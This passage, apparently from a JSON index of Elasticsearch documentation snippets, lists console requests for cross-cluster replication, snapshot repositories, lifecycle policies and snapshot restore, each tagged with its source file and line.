<6>\n \"reduce_script\" : \"\"\" <7>\n if (states.size() != 2) {\n return \"count_mismatch\"\n }\n if (states.get(0).equals(states.get(1))) {\n return \"match\"\n } else {\n return \"mismatch\"\n }\n \"\"\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ccr/getting-started.asciidoc","line":106},"digest":"9ad38ab4d9c3983e97e8c38fec611f10","lang":"console","found":["ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\" : {\n \"cluster\" : {\n \"remote\" : {\n \"leader\" : {\n \"seeds\" : [\n \"127.0.0.1:9300\" <1>\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ccr/getting-started.asciidoc","line":131},"digest":"cc0cca5556ec6224c7134c233734beed","lang":"console","found":["ruby"],"source":"GET /_remote/info"}, {"source_location":{"file":"ccr/getting-started.asciidoc","line":140},"digest":"a1f89341f2bd3929fb24cfcb36eab8f9","lang":"console-result","found":[],"source":"{\n \"leader\" : {\n \"seeds\" : [\n \"127.0.0.1:9300\"\n ],\n \"connected\" : true,\n \"num_nodes_connected\" : 1, <1>\n \"max_connections_per_cluster\" : 3,\n \"initial_connect_timeout\" : \"30s\",\n \"skip_unavailable\" : false,\n \"mode\" : \"sniff\"\n }\n}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-cert.asciidoc","line":46},"digest":"b2dec193082462c775169db438308bc3","lang":"console","found":[],"source":"POST /_security/role/remote-replication\n{\n \"cluster\": [\n \"read_ccr\"\n ],\n \"indices\": [\n {\n \"names\": [\n \"leader-index-name\"\n ],\n \"privileges\": [\n \"monitor\",\n \"read\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-cert.asciidoc","line":83},"digest":"cf9f51d719a2e90ffe36ed6fe56a4a69","lang":"console","found":[],"source":"POST /_security/role/remote-replication\n{\n \"cluster\": [\n \"manage_ccr\"\n ],\n \"indices\": [\n {\n \"names\": [\n \"follower-index-name\"\n ],\n \"privileges\": [\n \"monitor\",\n \"read\",\n \"write\",\n \"manage_follow_index\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-cert.asciidoc","line":112},"digest":"9d5855075e7008270459cc88c189043d","lang":"console","found":[],"source":"POST /_security/user/cross-cluster-user\n{\n \"password\" : \"l0ng-r4nd0m-p@ssw0rd\",\n \"roles\" : [ \"remote-replication\" ]\n}"}, {"source_location":{"file":"ccr/getting-started.asciidoc","line":204},"digest":"1445ca2e813ed1c25504107b4b11760e","lang":"console","found":[],"source":"PUT /server-metrics-follower/_ccr/follow?wait_for_active_shards=1\n{\n \"remote_cluster\" : \"leader\",\n \"leader_index\" : \"server-metrics\"\n}"}, {"source_location":{"file":"ccr/getting-started.asciidoc","line":287},"digest":"6b104a66ab47fc1e1f24a5738f82feb4","lang":"console","found":[],"source":"PUT /_ccr/auto_follow/beats\n{\n \"remote_cluster\" : \"leader\",\n \"leader_index_patterns\" :\n [\n \"metricbeat-*\", <1>\n \"packetbeat-*\" <2>\n ],\n \"follow_index_pattern\" : \"{{leader_index}}-copy\" <3>\n}"}, {"source_location":{"file":"ccr/managing.asciidoc","line":102},"digest":"7c5e41a7c0075d87b8f8348a6efa990c","lang":"console","found":["ruby"],"source":"POST /follower_index/_ccr/pause_follow\n\nPOST /follower_index/_close\n\nPUT /follower_index/_ccr/follow?wait_for_active_shards=1\n{\n \"remote_cluster\" : \"remote_cluster\",\n \"leader_index\" : \"leader_index\"\n}"}, {"source_location":{"file":"ccr/uni-directional-disaster-recovery.asciidoc","line":49},"digest":"9b68748c061b768c0153c1f2508ce207","lang":"console","found":["ruby"],"source":"### On clusterB ###\nPUT _cluster/settings\n{\n \"persistent\": {\n \"cluster\": {\n \"remote\": {\n \"clusterA\": {\n \"mode\": \"proxy\",\n \"skip_unavailable\": \"true\",\n \"server_name\": \"clustera.es.region-a.gcp.elastic-cloud.com\",\n \"proxy_socket_connections\": \"18\",\n \"proxy_address\": \"clustera.es.region-a.gcp.elastic-cloud.com:9400\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ccr/uni-directional-disaster-recovery.asciidoc","line":75},"digest":"a3464bd6f0a61623562162859566b078","lang":"console","found":[],"source":"### On clusterB ###\nPUT /kibana_sample_data_ecommerce2/_ccr/follow?wait_for_active_shards=1\n{\n \"remote_cluster\": \"clusterA\",\n \"leader_index\": \"kibana_sample_data_ecommerce\"\n}"}, {"source_location":{"file":"ccr/uni-directional-disaster-recovery.asciidoc","line":101},"digest":"46ce40227fa60aa6ba435f366b3a1f5f","lang":"console","found":["ruby"],"source":"### On clusterB ###\nPOST /kibana_sample_data_ecommerce2/_ccr/pause_follow\nPOST /kibana_sample_data_ecommerce2/_close\nPOST /kibana_sample_data_ecommerce2/_ccr/unfollow\nPOST /kibana_sample_data_ecommerce2/_open"}, {"source_location":{"file":"ccr/uni-directional-disaster-recovery.asciidoc","line":117},"digest":"902cfd5aeec2f65b3adf55f5e38b21f0","lang":"console","found":["ruby"],"source":"### On clusterB ###\nPOST kibana_sample_data_ecommerce2/_doc/\n{\n \"user\": \"kimchy\"\n}"}, {"source_location":{"file":"ccr/uni-directional-disaster-recovery.asciidoc","line":133},"digest":"f749efe8f11ebd43ef83db91922c736e","lang":"console","found":["ruby"],"source":"### On clusterA ###\nPUT _cluster/settings\n{\n \"persistent\": {\n \"cluster\": {\n \"remote\": {\n \"clusterB\": {\n \"mode\": \"proxy\",\n \"skip_unavailable\": \"true\",\n \"server_name\": \"clusterb.es.region-b.gcp.elastic-cloud.com\",\n \"proxy_socket_connections\": \"18\",\n \"proxy_address\": \"clusterb.es.region-b.gcp.elastic-cloud.com:9400\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ccr/uni-directional-disaster-recovery.asciidoc","line":163},"digest":"c79b284fa7a5d7421c6daae62bc697f9","lang":"console","found":["ruby"],"source":"### On clusterA ###\nDELETE kibana_sample_data_ecommerce"}, {"source_location":{"file":"ccr/uni-directional-disaster-recovery.asciidoc","line":174},"digest":"691fe20d467324ed43a36fd15852c492","lang":"console","found":[],"source":"### On clusterA ###\nPUT /kibana_sample_data_ecommerce/_ccr/follow?wait_for_active_shards=1\n{\n \"remote_cluster\": \"clusterB\",\n \"leader_index\": \"kibana_sample_data_ecommerce2\"\n}"}, {"source_location":{"file":"ccr/uni-directional-disaster-recovery.asciidoc","line":188},"digest":"8d6631b622f9bfb8fa70154f6fb8b153","lang":"console","found":["ruby"],"source":"### On clusterA ###\nGET kibana_sample_data_ecommerce/_search?q=kimchy"}, {"source_location":{"file":"ccr/bi-directional-disaster-recovery.asciidoc","line":41},"digest":"37b84f2ab7c2f6b4fe0e14cc7e018b1f","lang":"console","found":["ruby"],"source":"### On cluster A ###\nPUT _cluster/settings\n{\n \"persistent\": {\n \"cluster\": {\n \"remote\": {\n \"clusterB\": {\n \"mode\": \"proxy\",\n \"skip_unavailable\": true,\n \"server_name\": \"clusterb.es.region-b.gcp.elastic-cloud.com\",\n \"proxy_socket_connections\": 18,\n \"proxy_address\": \"clusterb.es.region-b.gcp.elastic-cloud.com:9400\"\n }\n }\n }\n }\n}\n### On cluster B ###\nPUT _cluster/settings\n{\n \"persistent\": {\n \"cluster\": {\n \"remote\": {\n \"clusterA\": {\n \"mode\": \"proxy\",\n \"skip_unavailable\": true,\n \"server_name\": \"clustera.es.region-a.gcp.elastic-cloud.com\",\n \"proxy_socket_connections\": 18,\n \"proxy_address\": \"clustera.es.region-a.gcp.elastic-cloud.com:9400\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ccr/bi-directional-disaster-recovery.asciidoc","line":87},"digest":"46a0eaaf5c881f1ba716d1812b36c724","lang":"console","found":[],"source":"### On cluster A ###\nPUT /_ccr/auto_follow/logs-generic-default\n{\n \"remote_cluster\": \"clusterB\",\n \"leader_index_patterns\": [\n \".ds-logs-generic-default-20*\"\n ],\n \"leader_index_exclusion_patterns\":\"*-replicated_from_clustera\",\n \"follow_index_pattern\": \"{{leader_index}}-replicated_from_clusterb\"\n}\n\n### On cluster B ###\nPUT /_ccr/auto_follow/logs-generic-default\n{\n \"remote_cluster\": \"clusterA\",\n \"leader_index_patterns\": [\n \".ds-logs-generic-default-20*\"\n ],\n \"leader_index_exclusion_patterns\":\"*-replicated_from_clusterb\",\n \"follow_index_pattern\": \"{{leader_index}}-replicated_from_clustera\"\n}"}, {"source_location":{"file":"ccr/bi-directional-disaster-recovery.asciidoc","line":185},"digest":"c267e90b7873a7c8c8af06f01e958e69","lang":"console","found":["ruby"],"source":"GET logs*/_search?size=0"}, {"source_location":{"file":"ccr/bi-directional-disaster-recovery.asciidoc","line":237},"digest":"0a3003fa5af850e415634b50b1029859","lang":"console","found":["ruby"],"source":"### On either of the cluster ###\nGET logs-generic-default*/_search?filter_path=hits.hits._index\n{\n\"query\": {\n \"match\": {\n \"event.sequence\": \"97\"\n }\n }\n}"}, {"source_location":{"file":"ccr/bi-directional-disaster-recovery.asciidoc","line":256},"digest":"083e514297c09e91211f0d168aef1b0b","lang":"console","found":["ruby"],"source":"### On the cluster identified from the previous step ###\nPOST logs-generic-default/_update_by_query\n{\n \"query\": {\n \"match\": {\n \"event.sequence\": \"97\"\n }\n },\n \"script\": {\n \"source\": \"ctx._source.event.original = params.new_event\",\n \"lang\": \"painless\",\n \"params\": {\n \"new_event\": \"FOOBAR\"\n }\n }\n}"}, {"source_location":{"file":"snapshot-restore/register-repository.asciidoc","line":167},"digest":"6a55dbba114c6c1408474f7e9cfdbb94","lang":"console","found":["ruby"],"source":"PUT _snapshot/my_unverified_backup?verify=false\n{\n \"type\": \"fs\",\n \"settings\": {\n \"location\": \"my_unverified_backup_location\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/register-repository.asciidoc","line":185},"digest":"216a6573ab4ab023e5dcac4eaa08c3c8","lang":"console","found":["ruby"],"source":"POST _snapshot/my_unverified_backup/_verify"}, {"source_location":{"file":"snapshot-restore/register-repository.asciidoc","line":215},"digest":"bdc68012c121062628d6d73468bf4866","lang":"console","found":["ruby"],"source":"POST _snapshot/my_repository/_cleanup"}, {"source_location":{"file":"snapshot-restore/register-repository.asciidoc","line":223},"digest":"5e309dfb203bf2b89cd8a4c353c4b6f5","lang":"console-result","found":[],"source":"{\n \"results\": {\n \"deleted_bytes\": 20,\n \"deleted_blobs\": 5\n }\n}"}, {"source_location":{"file":"snapshot-restore/repository-azure.asciidoc","line":56},"digest":"9de4704d2f047dae1259249112488697","lang":"console","found":[],"source":"PUT _snapshot/my_backup\n{\n \"type\": \"azure\",\n \"settings\": {\n \"client\": \"secondary\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/repository-azure.asciidoc","line":199},"digest":"c6f07c53eda4db77305bb14751b3263f","lang":"console","found":[],"source":"# The simplest one\nPUT _snapshot/my_backup1\n{\n \"type\": \"azure\"\n}\n\n# With some settings\nPUT _snapshot/my_backup2\n{\n \"type\": \"azure\",\n \"settings\": {\n \"container\": \"backup-container\",\n \"base_path\": \"backups\",\n \"chunk_size\": \"32MB\",\n \"compress\": true\n }\n}\n\n\n# With two accounts defined in elasticsearch.yml (my_account1 and my_account2)\nPUT _snapshot/my_backup3\n{\n \"type\": \"azure\",\n \"settings\": {\n \"client\": \"secondary\"\n }\n}\nPUT _snapshot/my_backup4\n{\n \"type\": \"azure\",\n \"settings\": {\n \"client\": \"secondary\",\n \"location_mode\": \"primary_only\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/repository-gcs.asciidoc","line":107},"digest":"ed01b542bb56b1521ea8d5a3c67aa891","lang":"console","found":[],"source":"PUT _snapshot/my_gcs_repository\n{\n \"type\": \"gcs\",\n \"settings\": {\n \"bucket\": \"my_bucket\",\n \"client\": \"my_alternate_client\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/repository-gcs.asciidoc","line":142},"digest":"ed01b542bb56b1521ea8d5a3c67aa891","lang":"console","found":[],"source":"PUT _snapshot/my_gcs_repository\n{\n \"type\": \"gcs\",\n \"settings\": {\n \"bucket\": \"my_bucket\",\n \"client\": \"my_alternate_client\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/repository-gcs.asciidoc","line":217},"digest":"262196e4323dfc1f8e6daf77d7ba3b6a","lang":"console","found":[],"source":"PUT _snapshot/my_gcs_repository\n{\n \"type\": \"gcs\",\n \"settings\": {\n \"bucket\": \"my_other_bucket\",\n \"base_path\": \"dev\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/repository-s3.asciidoc","line":20},"digest":"7de7e647c1c9cbe0a1df0d104fc0a947","lang":"console","found":[],"source":"PUT _snapshot/my_s3_repository\n{\n \"type\": \"s3\",\n \"settings\": {\n \"bucket\": \"my-bucket\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/repository-s3.asciidoc","line":41},"digest":"0da747e9d98bae157d3520ff1b489ad4","lang":"console","found":[],"source":"PUT _snapshot/my_s3_repository\n{\n \"type\": \"s3\",\n \"settings\": {\n \"bucket\": \"my-bucket\",\n \"client\": \"my-alternate-client\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/repository-s3.asciidoc","line":221},"digest":"af607715d0693587dd12962266359a96","lang":"console","found":[],"source":"PUT _snapshot/my_s3_repository\n{\n \"type\": \"s3\",\n \"settings\": {\n \"bucket\": \"my-bucket\",\n \"another_setting\": \"setting-value\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/repository-s3.asciidoc","line":321},"digest":"51b44224feee6e2e5974824334474c77","lang":"console","found":[],"source":"PUT _snapshot/my_s3_repository\n{\n \"type\": \"s3\",\n \"settings\": {\n \"client\": \"my-client\",\n \"bucket\": \"my-bucket\",\n \"endpoint\": \"my.s3.endpoint\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/repository-s3.asciidoc","line":586},"digest":"8d9b04f2a97f4229dec9e620126de049","lang":"console","found":["ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\": {\n \"logger.com.amazonaws.request\": \"DEBUG\"\n }\n}"}, {"source_location":{"file":"tab-widgets/register-fs-repo.asciidoc","line":17},"digest":"5632c3b947062d3a5fc0e4f3413b3308","lang":"console","found":[],"source":"PUT _snapshot/my_fs_backup\n{\n \"type\": \"fs\",\n \"settings\": {\n \"location\": \"/mount/backups/my_fs_backup_location\"\n }\n}"}, {"source_location":{"file":"tab-widgets/register-fs-repo.asciidoc","line":32},"digest":"f3fe2012557ebbce1ebad4fc997c092d","lang":"console","found":["ruby"],"source":"PUT _snapshot/my_fs_backup\n{\n \"type\": \"fs\",\n \"settings\": {\n \"location\": \"my_fs_backup_location\" <1>\n }\n}"}, {"source_location":{"file":"tab-widgets/register-fs-repo.asciidoc","line":55},"digest":"0ec2178fb0103862b47cc20bc5885972","lang":"console","found":["ruby"],"source":"PUT _snapshot/my_fs_backup\n{\n \"type\": \"fs\",\n \"settings\": {\n \"location\": \"my_fs_backup_location\",\n \"readonly\": true\n }\n}"}, {"source_location":{"file":"tab-widgets/register-fs-repo.asciidoc","line":93},"digest":"2308c9948cbebd2092eec03b11281005","lang":"console","found":["ruby"],"source":"PUT _snapshot/my_fs_backup\n{\n \"type\": \"fs\",\n \"settings\": {\n \"location\": \"E:\\\\Mount\\\\Backups\\\\My_fs_backup_location\"\n }\n}"}, {"source_location":{"file":"tab-widgets/register-fs-repo.asciidoc","line":107},"digest":"a8019280dab5b04211ae3b21e5e08223","lang":"console","found":["ruby"],"source":"PUT _snapshot/my_fs_backup\n{\n \"type\": \"fs\",\n \"settings\": {\n \"location\": \"My_fs_backup_location\" <1>\n }\n}"}, {"source_location":{"file":"tab-widgets/register-fs-repo.asciidoc","line":127},"digest":"0ec2178fb0103862b47cc20bc5885972","lang":"console","found":["ruby"],"source":"PUT _snapshot/my_fs_backup\n{\n \"type\": \"fs\",\n \"settings\": {\n \"location\": \"my_fs_backup_location\",\n \"readonly\": true\n }\n}"}, {"source_location":{"file":"snapshot-restore/repository-read-only-url.asciidoc","line":14},"digest":"b65dbb51ddd496189c65a9326a53480c","lang":"console","found":[],"source":"PUT _snapshot/my_read_only_url_repository\n{\n \"type\": \"url\",\n \"settings\": {\n \"url\": \"file:/mount/backups/my_fs_backup_location\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/repository-source-only.asciidoc","line":38},"digest":"ac9fe9b64891095bcf84066f719b3dc4","lang":"console","found":["ruby"],"source":"PUT _snapshot/my_src_only_repository\n{\n \"type\": \"source\",\n \"settings\": {\n \"delegate_type\": \"fs\",\n \"location\": \"my_backup_repository\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":136},"digest":"cb16f1ff85399ddaa418834be580c9de","lang":"console","found":[],"source":"POST _security/role/slm-admin\n{\n \"cluster\": [ \"manage_slm\", \"cluster:admin/snapshot/*\" ],\n \"indices\": [\n {\n \"names\": [ \".slm-history-*\" ],\n \"privileges\": [ \"all\" ]\n }\n ]\n}"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":157},"digest":"658842bf41e0fcb7969937155946a0ff","lang":"console","found":[],"source":"POST _security/role/slm-read-only\n{\n \"cluster\": [ \"read_slm\" ],\n \"indices\": [\n {\n \"names\": [ \".slm-history-*\" ],\n \"privileges\": [ \"read\" ]\n }\n ]\n}"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":187},"digest":"c10a486a28cbc5b2f15c3474ae31a431","lang":"console","found":[],"source":"PUT _slm/policy/nightly-snapshots\n{\n \"schedule\": \"0 30 1 * * ?\", <1>\n \"name\": \"\", <2>\n \"repository\": \"my_repository\", <3>\n \"config\": {\n \"indices\": \"*\", <4>\n \"include_global_state\": true <5>\n },\n \"retention\": { <6>\n \"expire_after\": \"30d\",\n \"min_count\": 5,\n \"max_count\": 50\n }\n}"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":231},"digest":"9b09ad677a0f4331830bed254a8388d1","lang":"console","found":[],"source":"POST _slm/policy/nightly-snapshots/_execute"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":249},"digest":"a735081e715d385b4d471eea0f2b57da","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"slm.retention_schedule\" : \"0 30 1 * * ?\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":262},"digest":"6d48f83c4a36d0544d876d3eff48dcef","lang":"console","found":["ruby"],"source":"POST _slm/_execute_retention"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":290},"digest":"ae0d20c2ebb59278e08a26c9634d90c9","lang":"console","found":["ruby"],"source":"# PUT _snapshot/my_repository/\nPUT _snapshot/my_repository/%3Cmy_snapshot_%7Bnow%2Fd%7D%3E"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":302},"digest":"12cb446446211f95f651e196a1f059b4","lang":"console","found":["ruby"],"source":"PUT _snapshot/my_repository/my_snapshot?wait_for_completion=true"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":317},"digest":"b9a8f39ab9b1ed18c6c1db61ac4e6a9e","lang":"console","found":["ruby"],"source":"GET _snapshot/my_repository/_current"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":325},"digest":"2105f2d1d81977054a93163a175793ce","lang":"console","found":["ruby"],"source":"GET _snapshot/_status"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":339},"digest":"ce0a1aba713b0448b0c6a504af7b3a08","lang":"console","found":["ruby"],"source":"GET _slm/stats"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":353},"digest":"5e87dd38ac3a0fd59ad794005b16d13e","lang":"console","found":["ruby"],"source":"GET _slm/policy/nightly-snapshots"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":366},"digest":"bb792e64a4c1f872296073b457aa03c8","lang":"console","found":["ruby"],"source":"DELETE _snapshot/my_repository/my_snapshot_2099.05.06"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":405},"digest":"b3623b8c7f3e7650f52b6fb8b050f583","lang":"console","found":["ruby"],"source":"GET _features"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":412},"digest":"194bf8f4907b38210b8a0fcec752d8d7","lang":"console-result","found":[],"source":"{\n \"features\": [\n {\n \"name\": \"tasks\",\n \"description\": \"Manages task results\"\n },\n {\n \"name\": \"kibana\",\n \"description\": \"Manages Kibana configuration and reports\"\n },\n {\n \"name\": \"security\",\n \"description\": \"Manages configuration for Security features, such as users and roles\"\n },\n ...\n ]\n}"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":440},"digest":"a180c97f8298fb2388fdcaf7b2e1b81e","lang":"console","found":[],"source":"PUT _slm/policy/nightly-snapshots\n{\n \"schedule\": \"0 30 2 * * ?\",\n \"name\": \"\",\n \"repository\": \"my_repository\",\n \"config\": {\n \"indices\": \"*\",\n \"include_global_state\": true,\n \"feature_states\": [\n \"kibana\",\n \"security\"\n ]\n },\n \"retention\": {\n \"expire_after\": \"30d\",\n \"min_count\": 5,\n \"max_count\": 50\n }\n}"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":487},"digest":"1a2890b90f3699fc2a4f27f94b145be9","lang":"console","found":[],"source":"PUT _slm/policy/nightly-cluster-state-snapshots\n{\n \"schedule\": \"0 30 2 * * ?\",\n \"name\": \"\",\n \"repository\": \"my_secure_repository\",\n \"config\": {\n \"include_global_state\": true, <1>\n \"indices\": \"-*\" <2>\n },\n \"retention\": {\n \"expire_after\": \"30d\",\n \"min_count\": 5,\n \"max_count\": 50\n }\n}"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":514},"digest":"3fb1289c80a354da66693bfb25d7b412","lang":"console","found":[],"source":"PUT _slm/policy/nightly-snapshots\n{\n \"schedule\": \"0 30 2 * * ?\",\n \"name\": \"\",\n \"repository\": \"my_repository\",\n \"config\": {\n \"include_global_state\": false, <1>\n \"indices\": \"*\" <2>\n },\n \"retention\": {\n \"expire_after\": \"30d\",\n \"min_count\": 5,\n \"max_count\": 50\n }\n}"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":557},"digest":"ea92390651e8ecad0c890658985343c5","lang":"console","found":[],"source":"PUT _slm/policy/hourly-snapshots\n{\n \"name\": \"\",\n \"schedule\": \"0 0 * * * ?\",\n \"repository\": \"my_repository\",\n \"config\": {\n \"indices\": \"*\",\n \"include_global_state\": true\n },\n \"retention\": {\n \"expire_after\": \"1d\",\n \"min_count\": 1,\n \"max_count\": 24\n }\n}"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":579},"digest":"f54f6d06163221f2c7aff6e8db942be3","lang":"console","found":[],"source":"PUT _slm/policy/daily-snapshots\n{\n \"name\": \"\",\n \"schedule\": \"0 45 23 * * ?\", <1>\n \"repository\": \"my_repository\",\n \"config\": {\n \"indices\": \"*\",\n \"include_global_state\": true\n },\n \"retention\": {\n \"expire_after\": \"30d\",\n \"min_count\": 1,\n \"max_count\": 31\n }\n}"}, {"source_location":{"file":"snapshot-restore/take-snapshot.asciidoc","line":603},"digest":"aa5c0fa51a3553ce7caa763c3832120d","lang":"console","found":[],"source":"PUT _slm/policy/monthly-snapshots\n{\n \"name\": \"\",\n \"schedule\": \"0 56 23 1 * ?\", <1>\n \"repository\": \"my_repository\",\n \"config\": {\n \"indices\": \"*\",\n \"include_global_state\": true\n },\n \"retention\": {\n \"expire_after\": \"366d\",\n \"min_count\": 1,\n \"max_count\": 12\n }\n}"}, {"source_location":{"file":"snapshot-restore/apis/restore-snapshot-api.asciidoc","line":88},"digest":"aa7f62279b487989440d423c1ed4a1c0","lang":"console","found":["ruby"],"source":"GET _index_template/*?filter_path=index_templates.name,index_templates.index_template.index_patterns,index_templates.index_template.data_stream"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":64},"digest":"ac8328bc51fd396b3ce5f7ef3e1e73df","lang":"console","found":["ruby"],"source":"GET _snapshot"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":73},"digest":"4e926063a9494b563387617b08c4f232","lang":"console","found":["ruby"],"source":"GET _snapshot/my_repository/*?verbose=false"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":114},"digest":"e0734215054e1ff5df712ce3a826cdba","lang":"console","found":["ruby"],"source":"# Delete an index\nDELETE my-index\n\n# Delete a data stream\nDELETE _data_stream/logs-my_app-default"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":127},"digest":"4bb4a64cf04e3feb133b0221d29beaa9","lang":"console","found":["ruby"],"source":"POST _snapshot/my_repository/my_snapshot_2099.05.06/_restore\n{\n \"indices\": \"my-index,logs-my_app-default\"\n}"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":152},"digest":"03b1d76fa0b773d5b7d74ecb7e1e1a80","lang":"console","found":["ruby"],"source":"POST _snapshot/my_repository/my_snapshot_2099.05.06/_restore\n{\n \"indices\": \"my-index,logs-my_app-default\",\n \"rename_pattern\": \"(.+)\",\n \"rename_replacement\": \"restored-$1\"\n}"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":177},"digest":"da24c13eee8c9aeae9a23faf80489e31","lang":"console","found":["ruby"],"source":"# Delete the original index\nDELETE my-index\n\n# Reindex the restored index to rename it\nPOST _reindex\n{\n \"source\": {\n \"index\": \"restored-my-index\"\n },\n \"dest\": {\n \"index\": \"my-index\"\n }\n}\n\n# Delete the original data stream\nDELETE _data_stream/logs-my_app-default\n\n# Reindex the restored data stream to rename it\nPOST _reindex\n{\n \"source\": {\n \"index\": \"restored-logs-my_app-default\"\n },\n \"dest\": {\n \"index\": \"logs-my_app-default\",\n \"op_type\": \"create\"\n }\n}"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":225},"digest":"2fc2c790a85be29bbcba50bdde1493f4","lang":"console","found":["ruby"],"source":"GET _snapshot/my_repository/my_snapshot_2099.05.06"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":246},"digest":"c4fadbb7f61e5f83ab3fc9cd4b82b5e5","lang":"console","found":["ruby"],"source":"POST _snapshot/my_repository/my_snapshot_2099.05.06/_restore\n{\n \"feature_states\": [ \"geoip\" ],\n \"include_global_state\": false, <1>\n \"indices\": \"-*\" <2>\n}"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":295},"digest":"6a3a578ce37fb2c63ccfab7f75db9bae","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"ingest.geoip.downloader.enabled\": false,\n \"indices.lifecycle.history_index_enabled\": false\n }\n}"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":308},"digest":"585a34ad79aee16678b37da785933ac8","lang":"console","found":["ruby"],"source":"POST _ilm/stop"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":323},"digest":"a21a7bf052b41f5b996dc58f7b69770f","lang":"console","found":["ruby"],"source":"POST _ml/set_upgrade_mode?enabled=true"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":338},"digest":"548b85bd9e6e7d33e36133953869449b","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"xpack.monitoring.collection.enabled\": false\n }\n}"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":351},"digest":"6b1336ff477f91d4a0db0b06db546ff0","lang":"console","found":["ruby"],"source":"POST _watcher/_stop"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":368},"digest":"e88a057a13e191e4d5faa22edf2ae8ed","lang":"console","found":["ruby"],"source":"GET /_cluster/settings?filter_path=**.xpack.profiling.templates.enabled&include_defaults=true"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":375},"digest":"24d66b2ebdf662d8b03e17214e65c825","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"xpack.profiling.templates.enabled\": false\n }\n}"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":408},"digest":"867f7d43a78066731ead2e223960fc07","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"action.destructive_requires_name\": false\n }\n}"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":421},"digest":"cb1d2a787bbe88974cfc5f132556a51c","lang":"console","found":["ruby"],"source":"DELETE _data_stream/*?expand_wildcards=all"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":429},"digest":"eef9deff7f9799d1f7657bb7e2afb7f1","lang":"console","found":["ruby"],"source":"DELETE *?expand_wildcards=all"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":438},"digest":"26bd8c027c82cd72c007c10fa66dc97f","lang":"console","found":["ruby"],"source":"POST _snapshot/my_repository/my_snapshot_2099.05.06/_restore\n{\n \"indices\": \"*\",\n \"include_global_state\": true\n}"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":455},"digest":"e642be44a62a89cf4afb2db28220c9a9","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"ingest.geoip.downloader.enabled\": true,\n \"indices.lifecycle.history_index_enabled\": true\n }\n}"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":469},"digest":"72ae3851160fcf02b8e2cdfd4e57d238","lang":"console","found":["ruby"],"source":"POST _ilm/start"}, {"source_location":{"file":"snapshot-restore/restore-snapshot.asciidoc","line":476},"digest":"3c5d5a5c34a62724942329658c688f5e","lang":"console","found":["ruby"],"source":"POST 